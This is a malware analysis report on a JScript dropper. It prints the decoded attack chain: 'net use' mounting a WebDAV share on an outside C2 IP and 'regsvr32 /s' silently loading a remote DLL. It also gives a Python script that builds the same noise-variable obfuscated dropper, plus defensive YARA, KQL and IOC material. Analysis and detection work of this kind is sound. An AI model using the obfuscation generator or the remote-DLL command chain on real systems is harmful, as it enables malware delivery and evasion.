typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighcreated2026-07-14scriptdropperc2obfuscationexecutiondefense-evasion
SHA-256: fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf

unclassified-js-webdav-dropper: fa8c6d74 — noise-variable JScript concat dialect, WebDAV C2 94.159.113.204:8888

Executive Summary

A JScript/batch polyglot dropper belonging to the unclassified-js-webdav-dropper family. Uses a new obfuscation dialect: 64 noise-named JScript variables (15–20 random lowercase chars each) are concatenated via + inside a Function('return this')() scope to assemble a PowerShell -EncodedCommand cradle. The cradle mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. This is the sixty-fifth confirmed sibling in the family. Static-only (CAPE skipped — non-binary file type). ^[file.txt] ^[dynamic-analysis.md]

What It Is

  • File: 81071909875822105.js (85,387 bytes) ^[triage.json]
  • Type: ASCII JScript, single line, no line terminators ^[file.txt]
  • SHA-256: fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf
  • Family: unclassified-js-webdav-dropper (high confidence) — identical TTP chain to 64 prior siblings: WebDAV UNC mount -> regsvr32 /s remote DLL load. ^[entities/unclassified-js-webdav-dropper.md]
  • C2: 94.159.113.204:8888 (new IP in the 94.159.113.0/24 range used by sibling f8dce7df at .82) ^[strings.txt]
  • Payload: 18500214332387.dll (numeric filename pattern consistent with family) ^[strings.txt]

How It Works

Obfuscation — Noise-Variable Concatenation

The entire file is one JScript expression followed by 64 single-character variable assignments:

  1. function fkmhhbbhoc() wraps the payload.
  2. Inside the function, Function(kinynfdnckxsdv+florfffatj+...) evaluates to Function('return this')(), yielding the global object (JScript's equivalent of window in WSH).
  3. ()[pexgdxfysk+...] resolves to ['WScript'].
  4. ['CreateObject']('WScript.Shell') obtains the WScript.Shell COM object.
  5. ['run'](ENCODED_COMMAND, 0, false) spawns PowerShell in a hidden window with no wait. ^[strings.txt:1]

The ENCODED_COMMAND argument is itself assembled from the same 64 noise variables via + concatenation. After full decoding the inner payload is:

Function('return this')()['WScript']['CreateObject']('WScript.Shell')
  ['run']('powershell -EncodedCommand <BASE64>', 0, false)

Decoded PowerShell

UTF-16LE Base64 decode of the -EncodedCommand payload:

timeout 1;akhhqoarjziy;net use \\94.159.113.204@8888\davwwwroot\;anesytvgwd;
regsvr32 /s \\94.159.113.204@8888\davwwwroot\18500214332387.dll;hffyphscnwbb

Execution chain: timeout 1 (stall), net use (mount WebDAV), regsvr32 /s (silent DLL registration). The noise tokens akhhqoarjziy, anesytvgwd, hffyphscnwbb are no-ops (undefined bare words) that serve as anti-static padding. ^[strings.txt:1]

Anti-Analysis

  • No sandbox gate — executes immediately on parse.
  • No debugger/VM checks.
  • No persistence — one-shot execution; no registry or scheduled-task modifications. ^[dynamic-analysis.md]

Decompiled Behavior

Not applicable — JScript source, not a PE. Static decode performed via Python regex substitution of the 64 variable assignments. No Ghidra/radare2 analysis required.

C2 Infrastructure

Indicator Value Notes
C2 IP 94.159.113.204 WebDAV on port 8888; new host in family's 94.159.113.0/24 range
WebDAV path \\94.159.113.204@8888\davwwwroot\ Standard IIS WebDAV UNC syntax
Payload 18500214332387.dll Numeric-only filename (family pattern)
Execution regsvr32 /s T1218.010 — silent system-binary proxy execution

Interesting Tidbits

  • Dialect novelty: Unlike prior siblings that used batch SET expansion or dictionary lookup tables, this sample uses pure JScript variable concatenation with noise names. This is the first observed family member to drop the batch/polyglot layer entirely and rely on a single JScript expression. ^[entities/unclassified-js-webdav-dropper.md]
  • Variable count: Exactly 64 variables — matching the 62-entry dictionary cardinality of siblings e6ebae6a, fb353965, etc., but using a simpler assignment-and-concat model.
  • No decoy: Unlike batch siblings that launch wordpad or color f0, this JScript variant has no visual decoy.
  • PowerShell wrapper: Uses -EncodedCommand (UTF-16LE Base64) rather than plain-text command line, adding one more decode layer for analysts.

How To Mess With It (Homelab Replication)

Toolchain: Python 3 + Node.js (or Windows Script Host for live execution).

Reproduction script:

import base64
import random
import string

def generate_noise_var():
    return ''.join(random.choices(string.ascii_lowercase, k=random.randint(15, 20)))

def obfuscate_js_command(cmd: str):
    chars = list(set(cmd))
    varmap = {}
    for c in chars:
        while True:
            v = generate_noise_var()
            if v not in varmap:
                varmap[v] = c
                break
    assignments = []
    for v, c in varmap.items():
        assignments.append(f'{v}="{c}"')
    parts = []
    for c in cmd:
        for v, ch in varmap.items():
            if ch == c:
                parts.append(v)
                break
    concat = '+'.join(parts)
    payload = f'function f(){{Function({concat})()["WScript"]["CreateObject"]("WScript.Shell")["run"]({concat},0,false)}};f()'
    return ";".join(assignments) + ";" + payload

cmd = 'powershell -EncodedCommand ' + base64.b64encode(
    'net use \\<lan>@8888\davwwwroot\;regsvr32 /s \\<lan>@8888\davwwwroot\payload.dll'
    .encode('utf-16le')).decode()

print(obfuscate_js_command(cmd))

Verification: Run the generated .js through your decoder — the decoded inner payload should match the original PowerShell command.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_NoiseConcat {
    meta:
        description = "JScript WebDAV dropper — noise-variable concatenation dialect"
        author = "pp-hermes"
        reference = "/intel/analyses/fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf.html"
    strings:
        $a = "function fkmhhbbhoc()" ascii wide
        $b = /Function\([a-z]{15,20}\+[a-z]{15,20}\+/ ascii wide
        $c = "WScript.Shell" ascii wide
        $d = /net use \\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@8888\davwwwroot/ ascii wide
        $e = "regsvr32 /s" ascii wide
        $f = "-EncodedCommand" ascii wide
    condition:
        filesize < 200KB and
        #a >= 1 and
        #b >= 5 and
        ($c and $d and $e) or
        ($c and $f and $e)
}

Behavioral Hunt Query (KQL / Microsoft Sentinel)

let webdav_ips = dynamic(["94.159.113.204", "94.159.113.82", "45.9.74.13", "45.9.74.32", "45.9.74.36"]);
DeviceNetworkEvents
| where RemoteIP in (webdav_ips) and RemotePort == 8888
| join kind=inner (DeviceProcessEvents
    | where FileName in ("regsvr32.exe", "rundll32.exe")
    | where CommandLine contains "\\" and CommandLine contains "davwwwroot"
    ) on $left.DeviceId == $right.DeviceId
| summarize arg_min(Timestamp, *) by DeviceId, AccountName

IOC List

Type Value
SHA-256 fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf
Filename 81071909875822105.js
C2 IP 94.159.113.204
C2 Port 8888
WebDAV UNC \\94.159.113.204@8888\davwwwroot\
Payload 18500214332387.dll
MITRE ATT&CK T1059.005 (JScript), T1059.001 (PowerShell), T1218.010 (Regsvr32), T1071.001 (WebDAV), T1105 (Ingress Tool Transfer)

Detection Signatures

Capability ATT&CK Evidence
JScript execution T1059.005 .js file parsed by WScript / cscript ^[file.txt]
PowerShell encoded command T1059.001 -EncodedCommand in decoded payload ^[strings.txt:1]
System binary proxy execution T1218.010 regsvr32 /s loads remote DLL ^[strings.txt:1]
WebDAV ingress tool transfer T1105 net use mounts remote share, DLL fetched over HTTP/WebDAV ^[strings.txt:1]
Obfuscated files T1027 64-variable noise concatenation, single-line expression ^[strings.txt:1]

References

Provenance

  • file.txtfile utility v5.44
  • strings.txt — Python regex extraction of noise-variable assignments and concatenation chains
  • dynamic-analysis.md — CAPE v2.4 skipped (non-binary file type)
  • Decoded via custom Python script: variable assignment extraction -> multi-pass concatenation decode -> Base64 -> UTF-16LE decode